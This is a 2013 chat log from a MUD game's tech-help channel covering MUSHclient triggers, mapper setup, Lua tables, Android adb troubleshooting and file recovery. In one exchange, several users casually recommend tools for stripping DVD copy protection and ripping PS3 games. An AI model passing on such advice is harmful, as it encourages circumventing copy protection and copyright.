T3/r7/2013-06-02.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: you mean in the match field or the response text?
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Faylen Tech: In the response
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Faylen Tech: For a trigger. I want to capture text from the line that got matched
T3/r7/2013-06-02.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: %0 will capture the entire match field
T3/r7/2013-06-02.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: %1 %2 etc will only capture the text within its () field
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Faylen Tech: Huh, I got errors when I tried to do that. I'll try it again though, thought perhaps mush used different syntaxes
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Daesilme Tech: Faylen, if the capture is a string you need to use "%1"
T3/r7/2013-06-02.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: for example if your match is ^(.*?) walks in from the (.*?)$  %0 would capture 'randalthor walks in from the east' %1 would be randalthor %2 would be east
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Faylen Tech: gotcha. The quotes are probably my problem, I'm used to not using those unless you want to send that exact string. Thanks guys
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Beauze Tech: what is the command/help file to adjust the amount of lines aard displays without having to hit enter to see more again?
T3/r7/2013-06-02.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: pagesize
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Tech: scroll or pagesize
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Beauze Tech: thankyou! :D
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Tymas Tech: Anyone good with mush? hit me with a tell:)
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Tech: go ahead and ask the Q here
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Book of Etzli Tech: Why not ask on tech, and let everyone learn? :)
T3/r7/2013-06-02.txt.gz:{chan ch=tech}DeezyKitty Diza Tech: OK I have two questions. The first one is - how do I get mush out of full screen mode?
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Book of Etzli Tech: Can't hit 'esc' to remove fullscreen?
T3/r7/2013-06-02.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i was messing with the build.prop on my phone (set it to galaxy s3 to get apps not avilable to my phone) and my phone rebooted and now it wont fully start up, it gives me splash screen, then black screen, anyone know a way i can fix this?
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Book of Etzli Tech: Flash the phone? :\
T3/r7/2013-06-02.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i would just re-install the rom for it, problem is the company who released the phone never released the rom, so i cant really do that, i was attempting to adb push /system/build.prop (the backed up version i have) but it was not establishing an adb connection
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Sgurbuz Tech: anyway to recover a deleted folder (shift+delete) on windows 7 
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Scars Tech: recycle bin if locally, if deleted over the network you'll want a backup
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Sgurbuz Tech: can u guide me please i deleted a folder i want i used shift+delete and its not in my recyling bin
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Ymerd Tech: shutdown, boot from dvd and use some recovery tool
T3/r7/2013-06-02.txt.gz:{chan ch=tech}HelperMan Hadar Tech: use a recovery program i use recuva http://www.piriform.com/recuva
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Sgurbuz Tech: free version?
T3/r7/2013-06-02.txt.gz:{chan ch=tech}HelperMan Hadar Tech: yes
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Sgurbuz Tech: k ill try that
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Vexthorne Tech: What is the best way to handle leaving areas like lem dagor or diamond reach in mushclient?
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Ayasinda Tech: for Lem use mapper walkto 1966
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: if you have mapper setup then create yourself an alias that says "mapper walkto <a safe room id like the entrance>"
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Vexthorne Tech: That should be great for lem dagor, thanks :)
T3/r7/2013-06-02.txt.gz:{chan ch=tech}HelperMan Hadar Tech: anyone know why my phone can be seen by my computer but not adb? i have it in calibration mode (soft bricked it so cant fully get in)
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Tigernuts Tech: what's an adb?
T3/r7/2013-06-02.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: was trying to figure that out myself
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Bast Tech: android sdk debugger
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Tigernuts Tech: never tried connecting the two, tbh, sorry
T3/r7/2013-06-02.txt.gz:{chan ch=tech}HelperMan Hadar Tech: see what happens when you mess something up =/
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Tech: looking at history, the best way to handle leaving areas like lemdagor and diamond reach is to configure portalrecall, bouncerecall and bounceportal, and then mapper goto <somewhere totally out of the area> and let the mapper discover the proper path so that it will know for everything into the future (for reach you'd also need to make the custom exits for mallic)
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Daloran Tech: So Abe.. somewhat related to that. Any suggestions on how to handle letting the mapper take you to your clan recall? I mean, can mapper go to <somewhere> and then use clan portal.. but seems like mapper goto might be able to be used directly somehow
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Daloran Tech: But chall is nomap..
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Six-String Strazor Tech: use cexits for that
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Faylen Tech: If you have a manor link, you can use that with cexits
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Faylen Tech: or map your clan portal, that works too
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Daloran Tech: Hmmmmm. I could see that.. like make a cexit from recall to clanhall - so mapper portal would find that path?
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Daloran Tech: Fay.. it doesn't because the clan hall doesn't show up in the mapper
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Faylen Tech: Well, it does, but then it won't go anywhere else in the clan hall unless you cexit those paths
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Daloran Tech: You sure, Fay? You're not clanned, so I'm wondering if you're working from should work, vs does work
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Faylen Tech: so like, if your clan has an area exit north and then east, you need to cexit from your clan hall recall north and then east. Then if your clan portal is set up, it'll use it to go to that area
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Faylen Tech: I was clanned
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Daloran Tech: Kk. Just making sure.
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Faylen Tech: and after I outcasted, I wondered why one of my map things was broken. turns out it was trying to use my now nonexisting clan portal heh
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Daloran Tech: But the bottleneck was more using the portal to get back IN to the clan hall
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Daloran Tech: so like mapper goto clanrecall
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Daloran Tech: but since its nomap..
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Faylen Tech: oh. ONly way I know to do that is if you have a manor exit and did a cexit from there to clan recall, but even then not sure that would work
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Tynrael Tech: I use a runprefix to get back to recall from clan
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Daloran Tech: No, not to recall from clan, TO clan recall
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Six-String Strazor Tech: I just use a porta to get to recall.
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Daloran Tech: Again, I'm not talking about recall =p
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Faylen Tech: did you try it with the portal, just mapping it then mapper goto room vnum? You can't map clan rooms so far as exit goes, but they still have unique room ids
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Daloran Tech: Thats the problem.. the clanhall is nomap.
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Faylen Tech: What's it do when you try? Something obviously works or mine wouldn't have tried to use my clan portal to get me somewhere else. Somehow it knew to use it, and using the portal wasn't a direct part of my cexit
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Daloran Tech: you added cexits from inside your clanhall to out. I'm trying to go from outside in, theres no id to use as destination is the problem
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Jhav Tech: Have your clan leader make clanrecall mappable.
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Jhav Tech: It doesn't even cost anything, and I can't think of a reason why having clanrecall mappable will cause any harm.
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Daloran Tech: Ahh is that an option? I thought it was a forced limitation
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Scars Tech: i just set up cexits to go through clanhall to the areas that my clan exits go to
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Daloran Tech: again scars.. thats not the problem.
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Scars Tech: i have a crec alias to take me to the clan hall
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Scars Tech: i'm confused what else you need
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Faylen Tech: That's what I did too. But he's trying to get intot he clan hall and stay there using the mapper
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Scars Tech: sounds like he's sort of creating a problem where there isn't one... it's not necessary to have the mapper take you to your clanhall
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Faylen Tech: but yeah, just using an alias might be your best bet for that particular situation. When you're not using it as a pass through to somewhere else
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Daloran Tech: To find a path out of a noportal/norecall/etc area? It'd be rather useful.
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Scars Tech: yeah, i'm not seeing it
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Daloran Tech: Thats unfortunate then.
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Scars Tech: jhav is right though, for this to work for you, you need the room to have a unique ID
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Faylen Tech: Set up a mush alias to mapper goto normal recall, then enter your clan portal automatically? Best way I can think of
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Daloran Tech: Nod fay.. thats what i've been doing. only issue there is if you use it in all case, you're adding extra steps for instances where you could just recall directly
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Scars Tech: and that pulse is causing you to lose gq's amirite?
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Daloran Tech: No, it's just an annoyance. I don't really GQ.
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Scars Tech: for some reason my mapper prefers to send me through school of horror when i tell the mapper to send me to the campaign dude
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Scars Tech: that doesn't make a lot of sense to me, and i could spend time trying to fix it... but it gets me there so i don't really care
T3/r7/2013-06-02.txt.gz:{chan ch=tech}DA Monster Tryllus Tech: did you xset mark on each areas?
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Scars Tech: i don't use SnD
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Jhav Tech: Is the soh portal your bounceportal?
T3/r7/2013-06-02.txt.gz:{chan ch=tech}DA Monster Tryllus Tech: mapper portal *alias you use to enter your clan portal* in clan recall should work
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Jhav Tech: It won't Tryllus, unless your clanrecall is mappable.
T3/r7/2013-06-02.txt.gz:{chan ch=tech}DA Monster Tryllus Tech: then rooms after the recall may have -1 vnum so you have to make custom exits to clan portal exits, to room with vnums
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Scars Tech: nah, bounceportal is amulet
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Scars Tech: we covered this already tryllus
T3/r7/2013-06-02.txt.gz:{chan ch=tech}DA Monster Tryllus Tech: sorry its not working for you:/ good luck
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Jhav Tech: (hint, your leader did exactly what I'm suggesting Tryllus :P)
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Daloran Tech: I shall take it up with leadership. I didn't know it was an option - and if they don't wish to do it for other reasons, then, well I guess I'm at a block
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Vexthorne Tech: Is there a reason why Mushclient sometimes flashes right before a mob dies?
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Tech: Jhav blinks innocently.
T3/r7/2013-06-02.txt.gz:{chan ch=tech}RedRain Tech: dramatic effect?!?
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Tech: Vexthorne snickers with RedRain about their shared secret.
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Hanslanda Tech: it's uploading data to a secret server in Texas.  You didn't really think Lasher was REALLY supporting aard on just donations, did you? :P
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Tech: The Dragon RandAlthor snickers with Hanslanda about their shared secret.
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Tymas Tech: if you want to stack commands with mapper cexit, do you put them in brackets or "" or something?
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Faylen Tech: use two semicolons
T3/r7/2013-06-02.txt.gz:{chan ch=tech}RedRain Tech: separated by ;;
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Tymas Tech: I did, but its detecting only the first command
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Tymas Tech: mc buy ticket;run wn;board;open east;e;open east;e;open east;e;open east;e;give ticket conductor
T3/r7/2013-06-02.txt.gz:{chan ch=tech}RedRain Tech: that is one ;
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Tymas Tech: thats cuz i pasted it, its actually 2
T3/r7/2013-06-02.txt.gz:{chan ch=tech}RedRain Tech: hmmmm
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Tymas Tech: if it was one, it wouldn't have shown on tech
T3/r7/2013-06-02.txt.gz:{chan ch=tech}RedRain Tech: and what does it do?
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Tymas Tech: it does only buy ticket
T3/r7/2013-06-02.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Does svn need chmod?
T3/r7/2013-06-02.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Sorry, I mean, is there any way to use permissions in SVN.
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Tech: svn controls permissions for the svn protocol using the conf folder
T3/r7/2013-06-02.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: every time I buy 10 of an item or put a quantity of items into a container or retrieve them, my output in mush shows a new line and prompt for each item
T3/r7/2013-06-02.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Mostly I was wondering if chmod -x (dir) would have any bearing on svn status.
T3/r7/2013-06-02.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: so, 10 newlines and prompts to put all etc.
T3/r7/2013-06-02.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: any ideas, off hand?
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Tech: no truri
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Tech: herod: it's from the gagged invmon lines
T3/r7/2013-06-02.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Good, thanks Abelinc.
T3/r7/2013-06-02.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: ive been away for a while... and upgraded to new mush, so trying to remember what Im doing again and dealing with some hiccups :)
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Tech: inventory-management scripts use [and gag] the invmon lines, but it looks like it's not gagging the scroll
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Vexthorne Tech: What kind of inventory management scripts are available anyhow?(for mushclient)
T3/r7/2013-06-02.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: whatever it is ill probably disable it, I've never ended up actually using them...
T3/r7/2013-06-02.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: trying to set my ipad up as a second side screen and portable monitor
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Tech: vexthorne: bast has some, like his eqdb one
T3/r7/2013-06-02.txt.gz:{chan ch=tech}Tech: herod: there are a few apps for that, but IMO rather than using it to extend the computer's desktop literally, do it logically by just running similar apps on the ipad to what would be taking up that real estate on the PC
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: I can't seem to get rid of this skipped '.' error when I update my repo.
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Tech: [Deputy] Trurien grumbles and growls. You wonder what's wrong...
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Newchange Tech: If I have a trigger for something like "hp * is lost" and another for "* is lost" which would trigger?
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Probably both.
T3/r7/2013-06-03.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: would depend on if the are set to keep evaluating and what sequence they are set to and if either is anchored
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Newchange Tech: What does anchor mean?
T3/r7/2013-06-03.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: if you used a ' ^ 'at the start of the trigger
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Tigernuts Tech: long shot i know, but does anyone have any experience dealing with jquery ui and it's many bugs?
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Tigernuts Tech: interesting, Google appears to be gaining ground in market share of "sites that originate viruses"
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Newchange Tech: Where're you getting that stat?
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Tigernuts Tech: not a stat, a trend - google's acquisition of ad servers
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Tigernuts Tech: this is a very old link. There have been some high profile sites falling foul of it more recently: http://news.cnet.com/8301-27080_3-20000898-245.html
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Tigernuts Tech: i was reminded of this while i had a browser sitting open on youtube, only for my AV to scream about cross-domain scripting
T3/r7/2013-06-03.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: test
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Tech: fail
T3/r7/2013-06-03.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: not really, but im still sitting with this auto scan kinda annoying but how i fix
T3/r7/2013-06-03.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: anyone?
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Tech: you've not given a question
T3/r7/2013-06-03.txt.gz:{chan ch=tech}RedRain Tech: yes.
T3/r7/2013-06-03.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: i did, but ok, im having a problem, my client keeps on autoscanning how i stop it
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Tech: no, you didn't...
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Tech: but now that you have, disable the autoscan plugin
T3/r7/2013-06-03.txt.gz:{chan ch=tech}RedRain Tech: what do you do that makes it scan.
T3/r7/2013-06-03.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: i dont see autoscan plugin
T3/r7/2013-06-03.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: it scans every tick
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Tech: oh, then unalias "p" from "scan"
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Ayasinda Tech: you have a trigger that does that?
T3/r7/2013-06-03.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: hmm, thanks abe, but now it gives a blank
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Tech: not anymore
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Newchange Tech: What's causing this problem? Seems a bit dodgy to me.
T3/r7/2013-06-03.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: ahh nice thanks abe
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Tech: MUSHclient is trying to check your prompt...the command that was put into Aard to do that is "p data", so it is sending "p data"
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Tech: it only needs to actually see your prompt data once to ensure that your prompt and battleprompt end in %c
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Tech: so it turns that check off once it has seen them
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Tech: Lasher has now coded it so that "prompt data" works as well as "p data", so the latest MUSHclients use that, which alleviates the issues with people aliasing "p"
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Tech: nothing dodgy at all
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Newchange Tech: Yup I see I stand corrected- thanks for the explanation
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: what is a good site where is can post all types of files to share with others/
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: ?
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Tigernuts Tech: megaupload
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Tech: heh, he just opened up "mega" as a replacement
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Tigernuts Tech: nogs, that one
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Tech: just saw him in an interview about it...first time I'd ever seen a pic...definitely not what I expected
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Tigernuts Tech: you could use google docs provided you didn't mind Google claiming ownership of all intellectual property rights of everything contained, and selling the data onto third parties
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Tech: other options being google drive, dropbox, box, cubby, etc
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: sugarsync
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Tigernuts Tech: depending on what it is you want to share :-)
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Tech: Helperful Cheezburger nods.
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: thanks :D
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Tech: does sugarsync have any free plans?
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: trying mediafire atm
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Tigernuts Tech: dvd's sent through the post are the most secure :-)
T3/r7/2013-06-03.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: deposite files also works
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Tech: ahh, looks like sugarsync does the "5gb free" that the others do, it just hides that option behind lots of flashy "try for free" pointers
T3/r7/2013-06-03.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: how do i alias rt to xrt, but it must work with my plugin
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: send to execute
T3/r7/2013-06-03.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: so alias name is rt * and at the bottom?
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Tech: I'd suggest not doing that, though
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Ayasinda Tech: rt is short for runto. It might mess up a lot.
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Tech: there's a reason that winkle chose not to override the built-in rt
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I would - then use ' rt' in the rare case xrt doesn't do it for you.
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: (as in, a leading space)
T3/r7/2013-06-03.txt.gz:{chan ch=tech}DragoDrake Dragoknight Tech: true tho
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Tech: vak: he won't remember to do that, and will be asking here when in a panic...
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Tech: basically, "if you need to ask, it's not a good idea"
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Tech: if you don't need to ask, then you know the tradeoffs and workarounds
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: can anyone point me in the right direction for deleting all instances of *suchandsuch* from a table, mushclient lua
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Tigernuts Tech: why is it so difficult to burn a dvd video disc these days?
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: microwave works decently
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Tigernuts Tech: for cooking?
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: or there is gas too
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: to burn a dvd
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Roidrage Tech: oh yeah cooking
T3/r7/2013-06-03.txt.gz:{chan ch=tech}<SneakY> Slyzora Tech: you need software to remove the copyright protection on it 1st
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Tigernuts Tech: not copyright
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I find it perfectly simple to burn a dvd
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Tigernuts Tech: actually, it did burn, windows media player just refused to play it on account of it being poo
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Roidrage Tech: just get img burn if u got dual drives u can copy a dvd over while breaking the copyright
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Purrrrific Growltiger Tech: rip it to an iso and mount it as a virtual drive?
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Tigernuts Tech: it's for turning an mp4 into a dvd video disc, i'm using dvd flick + cdburnerxp
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Purrrrific Growltiger Tech: I use nero recode, rarely any problems
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Roidrage Tech: nero kicks ass
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Purrrrific Growltiger Tech: unless the media is bad
T3/r7/2013-06-03.txt.gz:{chan ch=tech}<SneakY> Slyzora Tech: cloneDvD is what i use, also got virtual drives on it.
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Roidrage Tech: img burn , daemon tools lite , and nero ftw
T3/r7/2013-06-03.txt.gz:{chan ch=tech}<SneakY> Slyzora Tech: you can rip ps3 games also with that
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: can anyone point me in the right direction for deleting all instances of *suchandsuch* from a table, mushclient lua
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Tigernuts Tech: got there in the end
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Purrrrific Growltiger Tech: sql lite will let you open and edit the table
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Tigernuts Tech: dvdflick+cdburnerxp works really well and without cost
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: You mean an array table?
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: lua table which yeah i think is an array
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Roidrage Tech: sql lite is for scrit kiddies
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Newchange Tech: What's your difficulty?
T3/r7/2013-06-03.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: remarto: just set it to nil
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Roidrage Tech: these guys are pros
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Newchange Tech: just loop through it and set to nil
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: and where can i look at doing table loops cause i never figured them out
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Newchange Tech: http://lua-users.org/wiki/TablesTutorial
T3/r7/2013-06-03.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: shouldn't really need a loop, unless i misunderstood the question
T3/r7/2013-06-03.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: just table[key] = nil
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Newchange Tech: He wants to search for a given value
T3/r7/2013-06-03.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: oh, ok
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Newchange Tech: for key,value in pairs(t) do if value ="yourhatedvalue" then t[key] = nil end end
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Newchange Tech: there
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Just make sure you use pairs, not ipairs!
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Newchange Tech: t is your table, yourhatedvalue is what you hate
T3/r7/2013-06-03.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: also that won't work ;)
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Newchange Tech: hmm why not?
T3/r7/2013-06-03.txt.gz:{chan ch=tech}Newchange Tech: oh yeah the equality
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: okay ust more confused.....
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: will that work if my table contains subtables?
T3/r7/2013-06-03.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: well, you can't just compare them like that...
T3/r7/2013-06-03.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: what conditions do you want to delete a record on, exactly?
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: not really delete but change
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: relly a reformat of raw data so i can display it better
T3/r7/2013-06-03.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: ok, so what conditions to you want to change the record on?
T3/r7/2013-06-03.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: everything you've said so far has been pretty vague...
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: if record = "this" change it to "slightlydifferentthis"
T3/r7/2013-06-03.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: and record is a table?
T3/r7/2013-06-03.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: okay t = { name ={ data1, data2, data3 } }. im trying to reformat that data bits
T3/r7/2013-06-03.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: ok... to what?
